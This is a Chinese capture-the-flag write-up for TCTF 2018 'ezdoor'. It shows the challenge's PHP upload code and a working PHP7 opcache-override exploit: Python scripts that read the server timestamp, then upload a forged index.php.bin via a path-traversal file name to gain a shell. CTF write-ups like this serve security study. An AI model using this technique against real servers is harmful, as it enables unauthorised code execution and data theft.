以TCTF2018的ezdoor为例
相关WP
正解
https://github.com/LyleMi/My-CTF-Challenges/tree/master/ezDoor
非预期解:index.php/. + 条件竞争
https://blog.zsxsoft.com/post/36
非预期解:/x/../index.php/.
http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html
相关知识点
https://xz.aliyun.com/t/223
https://github.com/GoSecure/php7-opcache-override
要求:
- 目标服务器是php7并开启了opcache缓存
- 获得目标详细的各种环境信息,最直接的是拿到phpinfo
- 支持文件上传,能上传.bin文件到tmp目录下
- 若目标服务器开启了时间戳校验,要么爆破时间戳,或者cms的大部分文件并不会被修改,时间戳与源码一致
赛题
http://202.120.7.217:9527
访问index.php给出了源码,顺便加了点调试的代码,方便本地调试
<?php
#error_reporting(1);
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/'; #/sandbox/ip的sha1/
if(!file_exists($dir)){
mkdir($dir); #新建了这个路径
}
if(!file_exists($dir . "index.php")){
# echo '111111';
touch($dir . "index.php"); #新建了/sandbox/ip的sha1/index.php
}
function clear($dir) #清空功能
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}
switch ($_GET["action"] ?? "") { #显示路径
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt"); #显示phpinfo.txt
break;
case 'reset': #清空路径
clear($dir);
break;
case 'time':
echo time(); #显示时间
break;
case 'upload': #上传
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break; #需要自定义好参数
}
if ($_FILES['file']['size'] > 100000) {
clear($dir); #大小限制
break;
}
$name = $dir . $_GET["name"]; #获取文件名
echo '目录-----';
echo var_dump($dir);
echo '文件路径-----';
echo var_dump($name);
echo '后缀名-----';
echo var_dump(pathinfo($name)["extension"]);
echo '是否是正常目录,是就返回0-----';
echo var_dump(preg_match("/[^a-zA-Z0-9.\/]/", $name));
echo '检查后缀名是否含有h-----';
echo var_dump(stristr(pathinfo($name)["extension"], "h"));
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) || #文件名范围:^a-zA-Z0-9 . / 是正常目录则返回0.不会进入if条件
stristr(pathinfo($name)["extension"], "h")) { #若文件后缀名含有h,则退出
break;
}
echo '文件是否上传成功:';
echo var_dump(move_uploaded_file($_FILES['file']['tmp_name'], $name)); #成功上传文件
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) { #上传成功会列出$dir下的目录,遇到文件名有.或者..就跳过
continue;
}
$size += filesize($dir . $file); #大小限制
}
if ($size > 100000) {
clear($dir);
}
echo 'include file-----';
echo var_dump($dir . "index.php");
echo 'content------';
echo var_dump(file_get_contents($dir . "index.php"));
echo var_dump(scandir($dir));
break;
case 'shell': #限制了两个目录,在这两个目录下可以执行shell命令,说明$dir/index.php是命令执行马
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php"; #会包含index.php
break;
#default:
# highlight_file(__FILE__);
# break;
}
每次遇到新的知识点,需要的就是静下心来读paper
给出一些关键信息的截图
那么思路来了
- 先在本地搭建环境,生成自己的index.php的opcache
- 访问目标服务器的
index.php?action=phpinfo
,得到phpinfo,并通过项目https://github.com/GoSecure/php7-opcache-override计算得到其system_id - 先访问
index.php?action=reset
再访问index.php?action=time
,清空服务器的index.php然后重新touch index.php,并获得其时间戳 - 修改自己本地的index.php.bin的system_id和时间戳,与服务器相同,并上传到目标服务器的tmp相应目录下
- 访问
index.php?action=shell
,成功include index.php,此时以缓存的内容为主,成功 get shell
本地环境搭建
编辑php7的php.ini,添加三句话,然后重启apache,访问得到自己的index.php.bin
opcache.validate_timestamps = 1 ; PHP 7 的默认值为 1,即开启时间戳校验
opcache.file_cache_only = 1 ; PHP 7 的默认值为 0
opcache.file_cache = /tmp/cache
zend_extension=opcache.so ;有些还需要再添加这句
获得目标服务器的system_id和时间戳
index.php?action=phpinfo
得到服务器的phpinfo.txt
git clone https://github.com/GoSecure/php7-opcache-override
修改其脚本的内容
先reset,再获得服务器index.php的时间戳
get-time.py
import requests
url = 'http://202.120.7.217:9527/index.php?action=reset'
r = requests.get(url)
url = 'http://202.120.7.217:9527/index.php?action=time'
r = requests.get(url)
tmp = hex(int(r.text)).replace('0x','')
time = tmp[6:8]+tmp[4:6]+tmp[2:4]+tmp[0:2]
print time
修改本地的index.php.bin的system_id和时间戳
建议用010editor
上传修改后的index.php.bin到目标服务器对应的tmp目录下
成功包含并get shell
upload.py
import requests
files = {'file': open("index.php.bin", 'rb')}
url = 'http://202.120.7.217:9527/index.php?action=upload&name=../../../../../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/bad02726262861710a4eb6b90e0eb13ad8b7dacc/index.php.bin'
print 'upload url:'
print url
r = requests.post(url,files = files)
print r
url = 'http://202.120.7.217:9527/index.php?action=shell'
print 'shell:'
print requests.get(url).text
接下来各种写shell
目标服务器的目录权限限制,导致不能写入一句话木马
目标服务器的system等调用系统命令等函数被禁用,导致无法反弹shell
只能老老实实用php函数,读取想要的东西
读取目录信息,发现可疑的文件或目录
93f4c28c0cf0b07dfd7012dca2cb868cc0228cad
判断 93f4c28c0cf0b07dfd7012dca2cb868cc0228cad 是一个文件
读取文件
base64 -d base64.txt > flag
得到的是一个opcache的缓存文件,web狗的任务已经完成,接下来是re选手的事了,当时逆向选手已经睡了,我强行逆了一个晚上没搞出来,2333